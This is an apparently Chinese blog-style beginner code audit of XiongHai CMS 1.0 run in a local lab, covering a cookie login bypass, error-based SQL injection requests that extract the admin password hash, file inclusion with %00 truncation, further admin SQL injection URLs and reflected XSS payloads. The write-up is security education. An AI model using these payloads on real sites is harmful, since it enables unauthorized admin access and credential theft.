熊海cms1.0代码审计
目录
一、环境搭建
二、代码审计
(1)后台存在登录绕过漏洞
(2)登录后台user处存在SQL注入
(3)前(后)台文件包含漏洞
(4)后台SQL注入
1、admin/files/editcolumn
2、admin/files/editlink.php
3、admin/files/editsoft.php与admin/files/editwz.php
4、and '1'='1闭合构造SQL注入
(5)前台xss漏洞
1、/files/contact.php
2、/files/content.php
这个应该是比较简单的php代码审计了,适合新手
一、环境搭建
cms下载地址:
https://down.chinaz.com/soft/36930.htm
然后phpstudy环境搭建,php版本要小于7,之后要自己新建一个数据库
访问
http://localhost/xhcms1.0/install/index.php
二、代码审计
在cnvd里面看到有很多漏洞,一个个尝试吧
(1)后台存在登录绕过漏洞
提示我们可以通过伪造cookie绕过登录检测,代码位于inc\checklogin.php
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
如果cookie里面的user为空就转到登录页面,那我们可以给user赋值来绕过
直接访问admin/页面
直接进入到了网站后台。
(2)登录后台user处存在SQL注入
代码位于admin\files\login.php
<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('1');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
//echo $passwords;
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('2');history.back();</Script>";
exit; }
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>
这里没有对user进行过滤,直接拼接到了SQL语句里面,所以我们可以构造一下报错注入
POST /xhcms1.0/admin/?r=login HTTP/1.1
Host: 192.168.10.128
Content-Length: 95
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128/xhcms1.0/admin/?r=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closeuser=admin'or updatexml(1,(select concat(0x7e,password) from manage),1)#&password=123&login=yes
可以在源码里发现后面有个md5加密,所以储存的密码应该是32位,不符合。
用mid打印出完整的
POST /xhcms1.0/admin/?r=login HTTP/1.1
Host: 192.168.10.128
Content-Length: 105
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128/xhcms1.0/admin/?r=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closeuser=admin'or updatexml(1,concat(0x7e,mid((select password from manage),2,33)),1)#&password=123&login=yes
md5解密
可以得知admin密码为admin
(3)前(后)台文件包含漏洞
前台漏洞代码位于:index.php,后台漏洞代码位于:admin\index.php
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
get方式获取r,然后经过addslashes函数处理,之后判断,再然后拼接读取
如果php版本小于等于5.3.4可以使用%00截断实现任意文件读取,但如果高了就只能进行php文件读取
(4)后台SQL注入
1、admin/files/editcolumn
$id=$_GET['id'];
$type=$_GET['type'];if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}
很明显的SQL注入漏洞
http://localhost/xhcms1.0/admin/index.php?r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23
2、admin/files/editlink.php
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$link = mysql_fetch_array($resul);
几乎一模一样
3、admin/files/editsoft.php与admin/files/editwz.php
也是一样的
4、and '1'='1闭合构造SQL注入
POST /xhcms1.0/admin/index.php?r=editcolumn&type=1&id=1 HTTP/1.1
Host: 192.168.10.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=admin
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111save=1&name=a' or updatexml(1,concat(0x7e,version()),1) and '1'='1&keywords=b&description=c&xs=d&px=e&content=f
还有很多类似的,像manageinfo.php里面也有
(5)前台xss漏洞
1、/files/contact.php
/index.php?r=contact&page=<script>alert(1)</script>
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}
}
<title><?php echo $navs['name']?> - <?php echo $pages.$info['name']?></title>
没有过滤直接拼接
2、/files/content.php
差不多的,id
"><script>alert(1)</script>
熊海cms1.0代码审计相关推荐
- 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞
前言 最近几天在给协会的学弟讲代码审计入门相关内容,便找了这个熊海CMS_V1.0来教学,结果在这个过程中遇到蛮多问题的,于是这篇文章详细记录了对熊海CMS_V1.0从搭建到审计与漏洞分析的过程,其中 ...
- 代码审计系列:熊海CMS V1.0 (iseaCMS_1.0)
目录 前言 一.环境 1.用到的工具 2.搭建环境 二.审计 1.文件包含 (1)index.php (2)admin/index.php 2.SQL注入 (1)admin/files/adset.p ...
- 三、熊海CMS_v1.0-[Seay源代码审计]-[漏洞编码12人工审计]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.熊海CMS_v1.0网站目录结构 二.Seay代码审计系统漏洞报告 三.漏洞1&2分析: 1./in ...
- 熊海博客php版本,熊海CMS xhcms v1.0代码审计
有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0 本地环境安装好了之后,可以看到提示安装了锁文件 说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了, ...
- 熊海CMS 1.0代码审计漏洞集合
目录 SQL注入 注入1 注入2 注入3 cookie注入 注入5 XSS 反射型xss1 存储型xss2 反射型xss3 反射型xss4 存储型xss5 文件包含 越权登录 熊海CMS是由熊海开发的 ...
- PHP代码审计demo之熊海cms
实践学习php,thinkphp,Redis,vue,uni-app等技术,推荐开源电商系统likeshop,可以借鉴思路,可去版权免费商用,gitee下载地址: 点击进项目地址 php漏洞的利用依赖 ...
- 适合入门代码审计之熊海cms
一.前言 简单了解了一下,审计入门,熊海比较适合,因为是简单的cms,适合入门. 二.审计环境 使用小皮面板,新建网站 三.审计过程 先了解文件目录 admin --管理后台文件夹 css --存放c ...
- 熊海博客php版本,xhcms_v1.0 熊海CMS是由熊海开发的一款可广泛应用于个人博客 联合开发网 - pudn.com...
xhcms_v1.0 所属分类:WEB开发 开发工具:Java 文件大小:4002KB 下载次数:3 上传日期:2015-05-14 14:41:13 上 传 者:dou 说明: 熊海CMS是由熊海 ...
- 智能车竞赛技术报告 | 智能视觉组 - 哈尔滨工程大学 - 济海追风0队
简 介: 本文主要介绍了第十六届智能车竞赛智能视觉组的相关设计思想.此车系统由i.mx8处理器为上位机,RT1064为下位机.通过摄像头传感器检测赛道.使用光电编码器采集车轮速度.结合车模赛道物理模型 ...
最新文章
- Python 获取字符串的第一位和最后一位的字符
- 新疆电信IBSS系统集中联机热备份--案例
- Linux 下打core并调试core
- 分布式缓存系统之Memcached
- 计算机网络 网络设备命令 数据链路层解析
- 七十四、SpringBoot 的数据缓存cache(一)
- Windows phone listbox动态添加列表项
- java 8中 predicate chain的使用
- int max+1小于0_INT_MAX常数,C ++中的示例
- 求两条轨迹间的hausdorff距离_题型 | 圆上有n个点到直线距离为d?
- 拓端tecdat|R语言逻辑回归(Logistic Regression)、回归决策树、随机森林信用卡违约分析信贷数据集
- 如果你这样回答“线程安全”,面试官都会对你刮目相看
- AN 非空检测以及影片剪辑元件调用内部元件
- 机器学习:数学加强(二)——条件概率、贝叶斯公式、常见分布、协方差、相关系数、切比雪夫不等式、大数定律
- IKVM.NET_第三篇_成功项目
- 自定义SpringBoot程序启动图标
- linux内核带rt,Ubuntu18.04安装PREEMPT_RT实时内核
- 如果没事儿 我应做些什么?
- 微信小程序—自定义(城市选择)弹窗组件,将弹窗组件的值传给调用页面并显示(图文)
- RAM内存 ROM存储
热门文章
- 汽车车身控制器输出电路的设计与分析
- Android Camera2拍照录制工具
- 设置jstree只展示到2级_西北师大美术学院2018级环境设计2班模型设计制作成果展示...
- 用python进行点云体素下采样
- 计算机专业如何申请国外奖学金,解析怎样申请全额奖学金出国读研
- 与Apache ServiceComb一起玩开源-北邮站
- UINavigationController 导航控制器
- 【pytorch系列】卷积操作原理解析与nn.Conv2d用法详解
- 《Java技术及应用》课程标准
- 家里没网怎么在电脑上看电影玩游戏?教你一招搞定